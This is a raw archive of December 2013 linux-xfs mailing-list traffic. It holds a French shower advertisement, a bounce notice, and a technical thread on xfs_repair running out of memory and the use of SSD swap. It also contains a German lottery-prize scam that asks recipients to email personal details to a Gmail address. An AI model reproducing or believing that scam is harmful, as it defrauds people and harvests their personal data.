http://baseco.solution.weborama.fr/fcgi-bin/performance.fcgi?ID=310703&A=1&L=999432&C=41443&f=10&P=49626&T=E&W=1&CREA=16339&URL=http://www.independanceroyale.com/ideal-douche/?utm_source=baseco&utm_medium=email&utm_campaign=idealdouche&email=%3C%user.Email%%3E : http://baseco.solution.weborama.fr/fcgi-bin/performance.fcgi?ID=310703&A=1&L=999432&C=41443&f=10&P=49626&T=E&W=1&CREA=16339&URL=http://www.independanceroyale.com/ideal-douche/?utm_source=baseco&utm_medium=email&utm_campaign=idealdouche&email=%3C%user.Email%%3E : http://baseco.solution.weborama.fr/fcgi-bin/performance.fcgi?ID=310703&A=1&L=999432&C=41443&f=10&P=49626&T=E&W=1&CREA=16339&URL=http://www.independanceroyale.com/ideal-douche/?utm_source=baseco&utm_medium=email&utm_campaign=idealdouche&email=%3C%user.Email%%3E : http://baseco.solution.weborama.fr/fcgi-bin/performance.fcgi?ID=310703&A=1&L=999432&C=41443&f=10&P=49626&T=E&W=1&CREA=16339&URL=http://www.independanceroyale.com/ideal-douche/?utm_source=baseco&utm_medium=email&utm_campaign=idealdouche&email=%3C%user.Email%%3E • Une sécurité d'utilisation totale • Installation en moins d'une journée • Parfaitement modulable : http://baseco.solution.weborama.fr/fcgi-bin/performance.fcgi?ID=310703&A=1&L=999432&C=41443&f=10&P=49626&T=E&W=1&CREA=16339&URL=http://www.independanceroyale.com/ideal-douche/?utm_source=baseco&utm_medium=email&utm_campaign=idealdouche&email=%3C%user.Email%%3E : http://baseco.solution.weborama.fr/fcgi-bin/performance.fcgi?ID=310703&A=1&L=999432&C=41443&f=10&P=49626&T=E&W=1&CREA=16339&URL=http://www.independanceroyale.com/ideal-douche/?utm_source=baseco&utm_medium=email&utm_campaign=idealdouche&email=%3C%user.Email%%3E : http://baseco.solution.weborama.fr/fcgi-bin/performance.fcgi?ID=310703&A=1&L=999432&C=41443&f=10&P=49626&T=E&W=1&CREA=16339&URL=http://www.independanceroyale.com/ideal-douche/?utm_source=baseco&utm_medium=email&utm_campaign=idealdouche&email=%3C%user.Email%%3E Une sécurité d'utilisation totale Seuil d'accès très bas, revêtement antidérapant, barre de maintien, siège rabattable anti-glisse... Chaque élément IdealDouche® participe à une totale sécurité́ de déplacement et de mouvement. D'où une inestimable tranquillité́ d'esprit à l'usage ! Installation en moins d'une journée C'est simple : du jour au lendemain, sans détruire le mur ni le sol de votre salle de bain, IdealDouche® est posée par un Technicien expert. Vous transformerez ainsi votre espace en un lieu de détente et de bien-être parfaitement sécurisé ! Parfaitement modulable IdealDouche s'adapte parfaitement à la configuration de votre salle de bain, et vient s'installer à la place de votre ancienne baignoire ou de votre ancienne douche. Sa taille est ajustable selon vos souhaits, ce qui vous garantit une douche des plus spacieuses. : http://baseco.solution.weborama.fr/fcgi-bin/performance.fcgi?ID=310703&A=1&L=999432&C=41443&f=10&P=49626&T=E&W=1&CREA=16339&URL=http://www.independanceroyale.com/ideal-douche/?utm_source=baseco&utm_medium=email&utm_campaign=idealdouche&email=%3C%user.Email%%3E * Senior Actu, Mercredi 12 octobre 2011 : « Les chutes touchent durement et mortellement les seniors » ** Dossier de presse novembre 2000 « Prévention des chutes chez les personnes âgées » Sécurité Sociale Comité Français d'Éducation pour la Santé. : http://baseco.solution.weborama.fr/fcgi-bin/performance.fcgi?ID=310703&A=1&L=999432&C=41443&f=10&P=49626&T=E&W=1&CREA=16339&URL=http://www.independanceroyale.com/ideal-douche/?utm_source=baseco&utm_medium=email&utm_campaign=idealdouche&email=%3C%user.Email%%3E : http://baseco.solution.weborama.fr/fcgi-bin/performance.fcgi?ID=310703&A=1&L=999432&C=41443&f=10&P=49626&T=E&W=1&CREA=16339&URL=http://www.independanceroyale.com/ideal-douche/?utm_source=baseco&utm_medium=email&utm_campaign=idealdouche&email=%3C%user.Email%%3E ========================================== Ce courriel a été envoyé par IdealDouche à xfs@oss.sgi.com. Zetrend | 2, Place Louis Pradel, lyon, 60001, France Pourquoi je reçois ce mail? http://list.mlgnusa.com/about?u=fc73483cfec371c61e8f755f0ed49da4&id=764383aa&c=ee0f32ef&e=d09c0023&ln=fr Désabonnement en un clic: http://list.mlgnusa.com/unsubscribe?u=fc73483cfec371c61e8f755f0ed49da4&id=764383aa&e=d09c0023&c=ee0f32ef&ln=fr --b1_30e7065640d2f9466f51d0bb6d94b204 Content-Type: text/html; charset = "utf-8" Content-Transfer-Encoding: 8bit Idealdouche : Une solution unique en France !
    IdealDouche
    Idealdouche : Une solution unique en France !
    La 1ère douche de plain-pied conçue sur mesure Couple
    Choisissez la solution totalement nouvelle et 100 % sécurité pour votre salle de bain !
      • Une sécurité d'utilisation totale
      • Installation en moins d'une journée
      • Parfaitement modulable
    Devis sans engagement
    Ingénieuses de par leur conception, nos douches sont uniques en France.
    IdealDouche Une sécurité d'utilisation totale
    Seuil d'accès très bas, revêtement antidérapant, barre de maintien, siège rabattable anti-glisse...
    Chaque élément IdealDouche® participe à une totale sécurité́ de déplacement et de mouvement.
    D'où une inestimable tranquillité́ d'esprit à l'usage !

    Normes
    Installation en moins d'une journée
    C'est simple : du jour au lendemain, sans détruire le mur ni le sol de votre salle de bain, IdealDouche® est posée par un Technicien expert.
    Vous transformerez ainsi votre espace en un lieu de détente et de bien-être parfaitement sécurisé !


    Parfaitement modulable
    IdealDouche s'adapte parfaitement à la configuration de votre salle de bain, et vient s'installer à la place de votre ancienne baignoire ou de votre ancienne douche. Sa taille est ajustable selon vos souhaits, ce qui vous garantit une douche des plus spacieuses.
    Le saviez-vous ?
         *   Senior Actu, Mercredi 12 octobre 2011 :
              « Les chutes touchent durement et mortellement les seniors »
         **  Dossier de presse novembre 2000 « Prévention des chutes chez les personnes âgées »
              Sécurité Sociale Comité Français d'Éducation pour la Santé.
    Demandez un devis gratuit c'est sans engagement !
    Ce courriel a été envoyé par IdealDouche à xfs@oss.sgi.com.
    Zetrend | 2, Place Louis Pradel, lyon, 60001, France
    Pourquoi je reçois ce mail?
    Désabonnement en un clic | Mettez à jour votre profil | Envoyer à un ami
    --b1_30e7065640d2f9466f51d0bb6d94b204-- From BRayford@rustcollege.edu Sat Dec 28 22:34:17 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: *** X-Spam-Status: No, score=3.8 required=5.0 tests=FILL_THIS_FORM, FILL_THIS_FORM_LONG,HTML_MESSAGE,T_FRT_CONTACT autolearn=no version=3.3.1 X-Original-To: linux-xfs@oss.sgi.com Delivered-To: linux-xfs@oss.sgi.com Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (Postfix) with ESMTP id 15CF97F3F for ; Sat, 28 Dec 2013 22:34:17 -0600 (CST) Received: from cuda.sgi.com (cuda3.sgi.com [192.48.176.15]) by relay3.corp.sgi.com (Postfix) with ESMTP id 8A046AC002 for ; Sat, 28 Dec 2013 20:34:13 -0800 (PST) X-ASG-Debug-ID: 1388291651-04cb6c537ba52c00001-w1Z2WR Received: from rust-vmedge-01.ADMIN.RUSTNET.LOCAL (mail.rustcollege.edu [68.216.154.15]) by cuda.sgi.com with ESMTP id yICu6X3FKYprc8jx for ; Sat, 28 Dec 2013 20:34:11 -0800 (PST) X-Barracuda-Envelope-From: BRayford@rustcollege.edu X-Barracuda-Apparent-Source-IP: 68.216.154.15 Received: from rust-vmstexch-1.STUDENT.RUSTNET.LOCAL (10.13.20.123) by mail.rustcollege.edu (10.13.20.113) with Microsoft SMTP Server (TLS) id 14.1.438.0; Sat, 28 Dec 2013 22:30:39 -0600 Received: from RUST-VMEXCH-01.ADMIN.RUSTNET.LOCAL ([fe80::9493:bb89:7952:17b]) by rust-vmstexch-1.STUDENT.RUSTNET.LOCAL ([fe80::dd93:abce:edbf:5d61%14]) with mapi id 14.01.0438.000; Sat, 28 Dec 2013 22:30:38 -0600 From: "Rayford, Barbara" Subject: Ref: ES/9420d2/78 Thread-Topic: ES/9420d2/78 X-ASG-Orig-Subj: Ref: ES/9420d2/78 Thread-Index: Ac8ETrgsG2NZKi85SueR/5DBstxMPw== Date: Sun, 29 Dec 2013 04:30:36 +0000 Message-ID: Accept-Language: en-US Content-Language: en-US X-MS-Has-Attach: X-MS-TNEF-Correlator: x-originating-ip: [81.38.55.168] Content-Type: multipart/alternative; boundary="_000_F46E6EBE0333D44EBE47A7EAFD8C5E86A70E1AAErustvmexch01ADM_" MIME-Version: 1.0 To: Undisclosed recipients:; X-Barracuda-Connect: mail.rustcollege.edu[68.216.154.15] X-Barracuda-Start-Time: 1388291651 X-Barracuda-URL: http://192.48.176.15:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.52 X-Barracuda-Spam-Status: No, SCORE=0.52 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=BSF_SC0_SA620a, HTML_MESSAGE, THREAD_INDEX, THREAD_TOPIC X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.143511 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- 0.01 THREAD_INDEX thread-index: AcO7Y8iR61tzADqsRmmc5wNiFHEOig== 0.01 THREAD_TOPIC Thread-Topic: ...(Japanese Subject)... 0.00 HTML_MESSAGE BODY: HTML included in message 0.50 BSF_SC0_SA620a Custom Rule SA620a --_000_F46E6EBE0333D44EBE47A7EAFD8C5E86A70E1AAErustvmexch01ADM_ Content-Type: text/plain; charset="Windows-1252" Content-Transfer-Encoding: quoted-printable Lieber Gewinner, Wir informieren Sie, dass Ihre E-Mail-ID hat =80 550.000,00 in Lotteria Pri= metiva Globale Internationale gewann. Gewinnspiel F=F6rderprogramm, Die E-Mail-Lotteriegewinn in der internationalen und Gl=FCckszahlen 7/11/23= /24/53 Ref: ES/9420d2/78, die Lottoscheine bedeutet, wurden nicht verkauft. gewinnen Sie Ihren Anspruch Verfahren, der Vorstand sind Sie kontaktieren Sie unsere Verarbeitungsabteilung mit den Kontaktinformationen= unten bieten Sie sie mit Ihren Daten ein und gewinnen Sie Ihre Gewinn E-Mail-Adresse. Frau Maria Beyer (MRS) Lottery Verarbeitung Abt. E-Mail: lotteriaprimetiva@gmail.com Tel.: +34-602-633-069 Mit Ihren vollst=E4ndigen Namen, Adresse, Alter, Beruf, Telefonnummer, Senden Sie diese E-Mail-Wiedergabe: lotteriaprimetiva@gmail.com Herzlichen Gl=FCckwunsch. Mit freundlichen Gr=FC=DFen. --_000_F46E6EBE0333D44EBE47A7EAFD8C5E86A70E1AAErustvmexch01ADM_ Content-Type: text/html; charset="Windows-1252" Content-Transfer-Encoding: quoted-printable
    Lieber Gewinner,
    Wir informieren Sie, dass Ihre E-Mail-ID hat =80 550.000,00 in Lotteri= a Primetiva Globale Internationale gewann.
    Gewinnspiel F=F6rderprogramm,
    Die E-Mail-Lotteriegewinn in der internationalen und Gl=FCckszahlen 7/= 11/23/24/53
    Ref: ES/9420d2/78, die Lottoscheine bedeutet, wurden nicht verkauft.
    gewinnen Sie Ihren Anspruch Verfahren, der Vorstand sind Sie
    kontaktieren Sie unsere Verarbeitungsabteilung mit den Kontaktinformat= ionen unten bieten
    Sie sie mit Ihren Daten ein und gewinnen Sie Ihre Gewinn E-Mail-Adress= e.

    Frau Maria Beyer (MRS)
    Lottery Verarbeitung Abt.
    E-Mail: lotteriaprimetiva@gmail.com
    Tel.: +34-602-633-069
    Mit Ihren vollst=E4ndigen Namen, Adresse, Alter, Beruf, Telefonnummer,=
    Senden Sie diese E-Mail-Wiedergabe: lotteriaprimetiva@gmail.com
    Herzlichen Gl=FCckwunsch.
    Mit freundlichen Gr=FC=DFen.
    --_000_F46E6EBE0333D44EBE47A7EAFD8C5E86A70E1AAErustvmexch01ADM_-- From MAILER-DAEMON Sat Dec 28 23:25:07 2013 Return-Path: <> X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id 08E947F3F for ; Sat, 28 Dec 2013 23:25:07 -0600 (CST) Received: from cuda.sgi.com (cuda3.sgi.com [192.48.176.15]) by relay1.corp.sgi.com (Postfix) with ESMTP id E07198F8035 for ; Sat, 28 Dec 2013 21:25:06 -0800 (PST) X-ASG-Debug-ID: 1388294703-04cb6c537ba54fe0001-NocioJ Received: from relay2.ukrsotsbank.com (relay2.ukrsotsbank.com [91.209.118.28]) by cuda.sgi.com with ESMTP id W3fTj6VFBRdzN17I (version=TLSv1 cipher=AES256-SHA bits=256 verify=NO) for ; Sat, 28 Dec 2013 21:25:05 -0800 (PST) X-Barracuda-Envelope-From: X-Barracuda-Apparent-Source-IP: 91.209.118.28 Received: from localhost (localhost [127.0.0.1]) by relay2.ukrsotsbank.com (Postfix) with ESMTP id 47167B4043 for ; Sun, 29 Dec 2013 07:25:03 +0200 (EET) MIME-Version: 1.0 From: Mail Delivery Subsytem To: xfs@oss.sgi.com Subject: Undelivered mail Auto-Submitted: auto-replied X-ASG-Orig-Subj: Undelivered mail Content-Type: multipart/mixed; boundary="mimepart_379443997430891148" Message-Id: <20131229052503.47167B4043@relay2.ukrsotsbank.com> Date: Sun, 29 Dec 2013 07:25:03 +0200 (EET) X-Barracuda-Connect: relay2.ukrsotsbank.com[91.209.118.28] X-Barracuda-Start-Time: 1388294705 X-Barracuda-Encrypted: AES256-SHA X-Barracuda-URL: http://192.48.176.15:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.50 X-Barracuda-Spam-Status: No, SCORE=0.50 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=ANY_BOUNCE_MESSAGE, BOUNCE_MESSAGE, BSF_SC0_SA620b, EMPTY_ENV_FROM, MAILTO_TO_SPAM_ADDR X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.143512 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- 0.00 EMPTY_ENV_FROM Empty Envelope From Address 0.00 MAILTO_TO_SPAM_ADDR URI: Includes a link to a likely spammer email 0.50 BSF_SC0_SA620b Custom Rule SA620b 0.00 BOUNCE_MESSAGE MTA bounce message 0.00 ANY_BOUNCE_MESSAGE Message is some kind of bounce message --mimepart_379443997430891148 Content-Type: text/plain; charset="UTF-8" Content-Transfer-Encoding: 8bit This is an automatically generated Delivery Status Notification. Delivery to the following recipients was refused: olga.yefymenko@unicredit.ua. The original message headers are attached below. For further assistance, please send mail to postmaster. --mimepart_379443997430891148 Content-Type: text/rfc822-headers; name="OriginalMessageHeaders" Content-Description: Undelivered Message Headers Content-Transfer-Encoding: 8bit Received: from emx.ukrlink.kiev.ua (emx.ukrlink.kiev.ua [195.177.116.122]) (using TLSv1 with cipher DHE-RSA-AES256-SHA (256/256 bits)) (No client certificate requested) by relay2.ukrsotsbank.com (Postfix) with ESMTPS id CB60EB4042 for ; Sun, 29 Dec 2013 07:24:59 +0200 (EET) Received: from [78.27.223.100] (helo=ozuynuq) by emx.ukrlink.kiev.ua with smtp (Exim 4.82 (FreeBSD)) (envelope-from ) id 1Vulhx-000Gj9-7U; Sun, 22 Dec 2013 18:16:51 +0200 Message-ID: <047482F24109471EAB18C1697BB58120@ozuynuq> Reply-To: "nbmmhfpl" From: "nbmmhfpl" Date: Sun, 22 Dec 2013 20:16:57 +0400 Organization: hooqz MIME-Version: 1.0 Content-Type: multipart/alternative; boundary="----=_NextPart_000_0B86_01CEFF52.C3A673F0" X-Priority: 3 X-MSMail-Priority: Normal X-Mailer: Microsoft Windows Live Mail 16.4.3505.912 X-MimeOLE: Produced By Microsoft MimeOLE V16.4.3505.912 Subject: =?windows-1251?B?z/Dl5Ovg4+Dl7CDC6Of7ICDh5ecg6+j37e7p?= =?windows-1251?B?IO/u5OD36CE=?= --mimepart_379443997430891148-- From david@fromorbit.com Sun Dec 29 03:50:43 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (Postfix) with ESMTP id B69DF7F3F for ; Sun, 29 Dec 2013 03:50:43 -0600 (CST) Received: from cuda.sgi.com (cuda3.sgi.com [192.48.176.15]) by relay3.corp.sgi.com (Postfix) with ESMTP id 43220AC002 for ; Sun, 29 Dec 2013 01:50:39 -0800 (PST) X-ASG-Debug-ID: 1388310636-04cb6c537ba5efa0001-NocioJ Received: from ipmail04.adl6.internode.on.net (ipmail04.adl6.internode.on.net [150.101.137.141]) by cuda.sgi.com with ESMTP id YtAwQTNlaoEWehCK for ; Sun, 29 Dec 2013 01:50:37 -0800 (PST) X-Barracuda-Envelope-From: david@fromorbit.com X-Barracuda-Apparent-Source-IP: 150.101.137.141 X-IronPort-Anti-Spam-Filtered: true X-IronPort-Anti-Spam-Result: AuIIABrwv1J5LHyk/2dsb2JhbABYgwuDOlKxCYVSgRQXdIIlAQEBAwEjDwEjFQ4FCwgDGAICBSECAg8FJQMhExuHYQevLplsFxaBE410B4JugUgEmBaKTIdJg0EogSwCHgQC Received: from ppp121-44-124-164.lns20.syd6.internode.on.net (HELO dastard) ([121.44.124.164]) by ipmail04.adl6.internode.on.net with ESMTP; 29 Dec 2013 20:20:35 +1030 Received: from dave by dastard with local (Exim 4.76) (envelope-from ) id 1VxD0z-0002Jb-Hg; Sun, 29 Dec 2013 20:50:33 +1100 Date: Sun, 29 Dec 2013 20:50:33 +1100 From: Dave Chinner To: Arkadiusz =?utf-8?Q?Mi=C5=9Bkiewicz?= Cc: xfs@oss.sgi.com, Stor?? <289471341@qq.com>, Jeff Liu Subject: Re: [xfs_check Out of memory: ] Message-ID: <20131229095033.GL20579@dastard> X-ASG-Orig-Subj: Re: [xfs_check Out of memory: ] References: <201312270907.22638.arekm@maven.pl> <20131227224212.GK20579@dastard> <201312280020.39244.arekm@maven.pl> MIME-Version: 1.0 Content-Type: text/plain; charset=utf-8 Content-Disposition: inline Content-Transfer-Encoding: 8bit In-Reply-To: <201312280020.39244.arekm@maven.pl> User-Agent: Mutt/1.5.21 (2010-09-15) X-Barracuda-Connect: ipmail04.adl6.internode.on.net[150.101.137.141] X-Barracuda-Start-Time: 1388310636 X-Barracuda-URL: http://192.48.176.15:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.143519 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- On Sat, Dec 28, 2013 at 12:20:39AM +0100, Arkadiusz Miśkiewicz wrote: > On Friday 27 of December 2013, Dave Chinner wrote: > > On Fri, Dec 27, 2013 at 09:07:22AM +0100, Arkadiusz Miśkiewicz wrote: > > > On Friday 27 of December 2013, Jeff Liu wrote: > > > > On 12/27 2013 14:48 PM, Stor?? wrote: > > > > > Hey: > > > > > > > > > > 20T xfs file system > > > > > > > > > > > > > > > > > > > > /usr/sbin/xfs_check: line 28: 14447 Killed > > > > > xfs_db$DBOPTS -i -p xfs_check -c "check$OPTS" $1 > > > > > > > > xfs_check is deprecated and please use xfs_repair -n instead. > > > > > > > > The following back traces show us that it seems your system is run out > > > > memory when executing xfs_check, thus, snmp daemon/xfs_db were killed. > > > > > > This reminds me a question... > > > > > > Could xfs_repair store its temporary data (some of that data, the biggest > > > parte) on disk instead of in memory? > > > > Where on disk? > > In directory/file that I'll tell it to use (since I usualy have few xfs > filesystems on single server and so far only one at a time breaks). How is that any different from just adding swap space to the server? > Could xfs_repair tell kernel that this data should always end up on swap first > (allowing other programs/daemons to use regular memory) prehaps? (Don't know > interface that would allow to do that in kernel though). That would be some > half baked solution. It's up to the kernel to manage what gets swapped and what doesn't. I suppose you could use control groups to constrict the RAM xfs_repair uses, but how to configure such policy is way ouside my area of expertise. > > > I don't know it that would make sense, so asking. Not sure if xfs_repair > > > needs to access that data frequently (so on disk makes no sense) or > > > maybe it needs only for iteration purposes in some later phase (so on > > > disk should work). > > > > > > Anyway memory usage of xfs_repair was always a problem for me (like 16GB > > > not enough for 7TB fs due to huge amount of fies being stored). With > > > parallel scan it's even worse obviously. > > > > Yes, your problem is that the filesystem you are checking contains > > 40+GB of metadata and a large amount of that needs to be kept in > > memory from phase 3 through to phase 6. > > Is that data (or most of that data) frequenly accessed? Or something that's > iterated over let say once in each phase? free/used space is tracked in a btree. It gets set up, for example, in phase 3, then iterated in phase 4 where inode bmap btrees are validated, and then phase 5 rebuilds the on disk free space trees from what is validated as used/free space in phase 4. So, the free space information is used in each phase it is required, and then it is discarded from memory. Inodes are tracked in a AVL tree. They get set up and validated against the AGI inode btrees in phase 3, then validated against the directory structure in phase 6. Most get tossed outo f memory during phase 6, but those with multiple link counts are held on to until phase 7 where the link counts are validated. So, the data that is pulled into memory during phases 2 and 3 (i.e. all the metadata in the filesystem) cannot be fully validated and freed until later phases complete. The indexes are regularly traversed, so soul dnot get swapped. The leaves shoul donly get hit once per phase, so should be swapped in and out only once per phase that uses the information. [snip trial and error xfs_repair OOM complaints] Basically, you don't know how much metadata is in your filesystem, so you don't know how much swap space to add up front. Simple: add 100GB of swap file on a fast drive (e.g. an SSD) and that will make repair run to completion faster than any amount of work I could do to make it faster. Basically, you are asking us to make xfs-repair omniscient so it always either succeeds or fails immediately so that you don't have to plan for disaster recovery... > - what's worse tools give no estimations of ram needed etc but that's afaik # xfs_repair -vv -m 1 -n /dev/ > > If you really want to add > > some kind of database interface to store this information somewhere > > else, then I'll review the patches. ;) > > Right. So only "easy" task finding the one who understands the code and can > write such interface left. Anyone? > > IMO ram usage is a real problem for xfs_repair and there has to be some > upstream solution other than "buy more" (and waste more) approach. I think you are forgetting that developer time is *expensive* and *scarce*. This is essentially a solved problem: An SSD in a USB3 enclosure as a temporary swap device is by far the most cost effective way to make repair scale to arbitrary amounts of metadata. It certainly scales far better than developer time and testing resources... Cheers, Dave. -- Dave Chinner david@fromorbit.com From arekm@maven.pl Sun Dec 29 05:23:41 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=T_DKIM_INVALID autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id 6D25B7F3F for ; Sun, 29 Dec 2013 05:23:41 -0600 (CST) Received: from cuda.sgi.com (cuda2.sgi.com [192.48.176.25]) by relay1.corp.sgi.com (Postfix) with ESMTP id 58EDD8F8039 for ; Sun, 29 Dec 2013 03:23:41 -0800 (PST) X-ASG-Debug-ID: 1388316215-04cbb04168a59ee0001-NocioJ Received: from mail-ee0-f45.google.com (mail-ee0-f45.google.com [74.125.83.45]) by cuda.sgi.com with ESMTP id n6qgs0FFEwOLbqZu (version=TLSv1 cipher=RC4-SHA bits=128 verify=NO) for ; Sun, 29 Dec 2013 03:23:36 -0800 (PST) X-Barracuda-Envelope-From: arekm@maven.pl X-Barracuda-Apparent-Source-IP: 74.125.83.45 Received: by mail-ee0-f45.google.com with SMTP id d49so4664373eek.4 for ; Sun, 29 Dec 2013 03:23:35 -0800 (PST) DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=maven.pl; s=maven; h=from:to:subject:date:user-agent:cc:references:in-reply-to :mime-version:content-type:content-transfer-encoding:message-id; bh=Fi7aydWzsITyOWTn2iJYUjp6LSZoo2qCG5pLBjYVsPE=; b=QNeGaCrsRjlLolirUqvm8EZ/8ycz1qVEX9p7rqW8dIte4yBCLcJNVNcZ8T2IwlGVGu F9KOsOaMx2zWLhmjiTH1aSb5wF/ihuTlzFrlvTAzCn6rWBZmDUBz/7AeFhIbm/fkoJfs x+7bREXdNEugvcdYC5BU/hHoTM5x8zPPQZ06M= X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=1e100.net; s=20130820; h=x-gm-message-state:from:to:subject:date:user-agent:cc:references :in-reply-to:mime-version:content-type:content-transfer-encoding :message-id; bh=Fi7aydWzsITyOWTn2iJYUjp6LSZoo2qCG5pLBjYVsPE=; b=N8GOZUzF9MvQQsWUTAeWGXrekiuCLhCKC2FNjHUTBhaH24npa8LoSjdeXq2GPkMPKC ptv5vRROrpJla7syLWDODWvzPkLFNSrTpvPt9zSVB3ZoSX2tAcxBaIceP/cjNbNAafjO uL4CobuyhJlankQbQZks+l2+ZFkCOPoCaZ16a/Cia+Gi1luOErHJ5MkYNPogB2WK6djE L3ABBrgu+9YmrzW+I5eMdCYxN7v+EokdoGplx74L/6J6J/TgA9UGZhSZHaOtw74Q5pcD x5rHT9OC9wKSHWP0eOfJEY8kPPo9Rsg+kcrlbxWNUWmDN35LX4j7aC0v+5D0e2NRW0Ss 6SCw== X-Gm-Message-State: ALoCoQlrrFT0tJidLxMwhpBg/kr2hQqisVqL9Uwf5j+3WgWCFxFqW8he971VxbXTGvpPEprbOrG8 X-Received: by 10.14.207.194 with SMTP id n42mr5913548eeo.76.1388316215077; Sun, 29 Dec 2013 03:23:35 -0800 (PST) Received: from t400.localnet (abmv85.neoplus.adsl.tpnet.pl. [83.7.241.85]) by mx.google.com with ESMTPSA id 1sm98611783eeg.4.2013.12.29.03.23.29 for (version=TLSv1.2 cipher=ECDHE-RSA-AES128-GCM-SHA256 bits=128/128); Sun, 29 Dec 2013 03:23:34 -0800 (PST) From: Arkadiusz =?utf-8?q?Mi=C5=9Bkiewicz?= To: stan@hardwarefreak.com Subject: Re: [xfs_check Out of memory: ] Date: Sun, 29 Dec 2013 12:23:10 +0100 X-ASG-Orig-Subj: Re: [xfs_check Out of memory: ] User-Agent: KMail/1.13.7 (Linux/3.12.6-dirty; KDE/4.12.0; x86_64; ; ) Cc: "Stor??" <289471341@qq.com>, Jeff Liu , xfs@oss.sgi.com, Dave Chinner References: <201312290039.17125.arekm@maven.pl> <52BF72BC.8020002@hardwarefreak.com> In-Reply-To: <52BF72BC.8020002@hardwarefreak.com> MIME-Version: 1.0 Content-Type: Text/Plain; charset="utf-8" Content-Transfer-Encoding: quoted-printable Message-Id: <201312291223.10955.arekm@maven.pl> X-Barracuda-Connect: mail-ee0-f45.google.com[74.125.83.45] X-Barracuda-Start-Time: 1388316216 X-Barracuda-Encrypted: RC4-SHA X-Barracuda-URL: http://192.48.176.25:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=BSF_SC0_MISMATCH_TO, BSF_SC5_SA210e, DKIM_SIGNED, DKIM_VERIFIED X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.143521 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- 0.00 BSF_SC0_MISMATCH_TO Envelope rcpt doesn't match header -0.00 DKIM_VERIFIED Domain Keys Identified Mail: signature passes verification 0.00 DKIM_SIGNED Domain Keys Identified Mail: message has a signature 0.00 BSF_SC5_SA210e Custom Rule SA210e On Sunday 29 of December 2013, Stan Hoeppner wrote: > On 12/28/2013 5:39 PM, Arkadiusz Mi=C5=9Bkiewicz wrote: > > On Saturday 28 of December 2013, Stan Hoeppner wrote: > >> On 12/27/2013 5:20 PM, Arkadiusz Mi=C5=9Bkiewicz wrote: > > It's a backup copy that needs to be directly accessible (so you could r= un > > production directly from backup server for example). That solution won= 't > > work. >=20 > So it's an rsnapshot server and you have many millions of hardlinks. Something like that (initially it was just copy of few other servers but no= w=20 hardlinks are also in use). > The obvious solution here is to simply use a greater number of smaller > XFS filesystems with fewer hardlinks in each. This is by far the best > way to avoid the xfs_repair memory consumption issue due to massive > inode count.=20 > You might even be able to accomplish this using sparse files. This > would preclude the need to repartition your storage for more > filesystems, and would allow better utilization of your storage. Dave > is the sparse filesystem expert so I'll defer to him on whether this is > possible, or applicable to your workload. I'll go SSD way since making things more complicated just for xfs_repair is= n't=20 sane. [...] > > Adding SSD is my only long term option it seems. >=20 > It's not a perfect solution by any means, and the SSD you choose matters > greatly, which I why I recommended the Samsung 840 Pro. More RAM is the > best option with your current setup, but is not available for your > system. Using more filesystems with fewer inodes in each is by far the > best option, WRT xfs_repair and limited memory. The server is over 30TB but I used 7TB partitions. Unfortunately it's not=20 possible to go low with these since hardlinks needs to be on the same=20 partition etc. [...] > > So now more important question. How to actually estimate these things? > > Example: 10TB xfs filesystem fully written with files - 10kb each file > > (html pages, images etc) - web server. How much ram my server would need > > for repair to succeed? >=20 > One method is to simply ask xfs_repair how much memory it needs to > repair the filesystem. Usage: Assume I'm planning new server and I need to figure that out without actual= ly=20 having hardware or fs. How to estimate this? If there is a way I'll gladly describe it and add to xfs faq. xfs_repair estimate doesn't work, too - see below. > 